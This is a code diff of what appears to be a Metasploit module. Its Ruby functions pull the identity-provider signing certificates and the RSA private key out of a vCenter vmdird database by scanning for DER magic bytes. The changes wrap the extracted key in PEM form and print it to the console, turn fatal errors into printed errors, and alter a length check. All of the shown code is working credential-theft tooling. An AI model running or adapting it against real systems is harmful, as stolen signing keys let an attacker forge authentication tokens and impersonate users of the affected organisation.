@@ -124,10 +124,9 @@ def extract_idp_cert
124124 unless ( bytes = read_mdb_sts_block ( vmdir_file , datastore [ 'MDB_CHUNK_SIZE' ] , datastore [ 'MDB_STARTING_OFFSET' ] ) )
125125 fail_with ( Msf ::Exploit ::Failure ::NoTarget , "Invalid vmdird database '#{ vmdir_file } ': unable to locate TenantCredential-1 in binary stream" )
126126 end
127- idp_certs = get_sts_pem ( bytes )
128127 idp_key = get_sts_key ( bytes )
129128 idp_key_pem = idp_key . to_pem . to_s
130- idp_certs . each do |stscert |
129+ get_sts_pem ( bytes ) . each do |stscert |
131130 idp_cert_pem = stscert . to_pem . to_s
132131 case stscert . check_private_key ( idp_key )
133132 when true # Private key associates with public cert
@@ -167,7 +166,7 @@ def read_mdb_sts_block(file_name, chunk_size, offset)
167166
168167 def read_der ( bytes )
169168 der_len = ( bytes [ 2 ..3 ] . unpack ( 'H*' ) . first . to_i ( 16 ) + 4 ) . to_i
170- unless der_len <= bytes . length + 4
169+ unless der_len <= bytes . length - 1
171170 fail_with ( Msf ::Exploit ::Failure ::Unknown , 'Malformed DER: byte length exceeds working buffer size' )
172171 end
173172 bytes [ 0 ..der_len - 1 ]
@@ -176,27 +175,35 @@ def read_der(bytes)
176175 def get_sts_key ( bytes )
177176 working_offset = bytes . unpack ( 'H*' ) . first . index ( /3082[0-9a-f]{4}020100/ ) / 2 # PKCS1 magic bytes
178177 byte_len = bytes . length - working_offset
179- OpenSSL ::PKey ::RSA . new ( read_der ( bytes [ working_offset , byte_len ] ) )
178+ key_bytes = read_der ( bytes [ working_offset , byte_len ] )
179+ key_b64 = Base64 . strict_encode64 ( key_bytes ) . scan ( /.{1,64}/ ) . join ( "\n " )
180+ key_pem = "-----BEGIN PRIVATE KEY-----\n #{ key_b64 } \n -----END PRIVATE KEY-----"
181+ vprint_status ( "key_pem:\n #{ key_pem } " )
182+ OpenSSL ::PKey ::RSA . new ( key_pem )
180183 rescue OpenSSL ::PKey ::PKeyError
181- fail_with ( Msf ::Exploit ::Failure ::NoTarget , 'Failure during extract of PKCS#1 RSA private key' )
184+ # fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of PKCS#1 RSA private key')
185+ print_error ( 'Failure during extract of PKCS#1 RSA private key' )
182186 end
183187
184188 def get_sts_pem ( bytes )
185189 idp_certs = [ ]
186190 working_offset = bytes . unpack ( 'H*' ) . first . index ( /3082[0-9a-f]{4}3082/ ) / 2 # x509v3 magic bytes
187191 byte_len = bytes . length - working_offset
188192 working_bytes = bytes [ working_offset , byte_len ]
189- offsets = [ 4 , 8 ]
190- offsets . each do |offset |
193+ [ 4 , 8 ] . each do |offset |
191194 der_bytes = read_der ( working_bytes )
192- idp_certs << OpenSSL ::X509 ::Certificate . new ( der_bytes )
195+ der_b64 = Base64 . strict_encode64 ( der_bytes ) . scan ( /.{1,64}/ ) . join ( "\n " )
196+ der_pem = "-----BEGIN CERTIFICATE-----\n #{ der_b64 } \n -----END CERTIFICATE-----"
197+ vprint_status ( "der_pem:\n #{ der_pem } " )
198+ idp_certs << OpenSSL ::X509 ::Certificate . new ( der_pem )
193199 next_offset = working_offset + der_bytes . length + offset - 1
194200 working_offset = next_offset
195201 byte_len = bytes . length - working_offset
196202 working_bytes = bytes [ working_offset , byte_len ]
197203 end
198204 idp_certs
199205 rescue OpenSSL ::X509 ::CertificateError
200- fail_with ( Msf ::Exploit ::Failure ::NoTarget , 'Failure during extract of x509v3 certificate' )
206+ # fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of x509v3 certificate')
207+ print_error ( 'Failure during extract of x509v3 certificate' )
201208 end
202209end
0 commit comments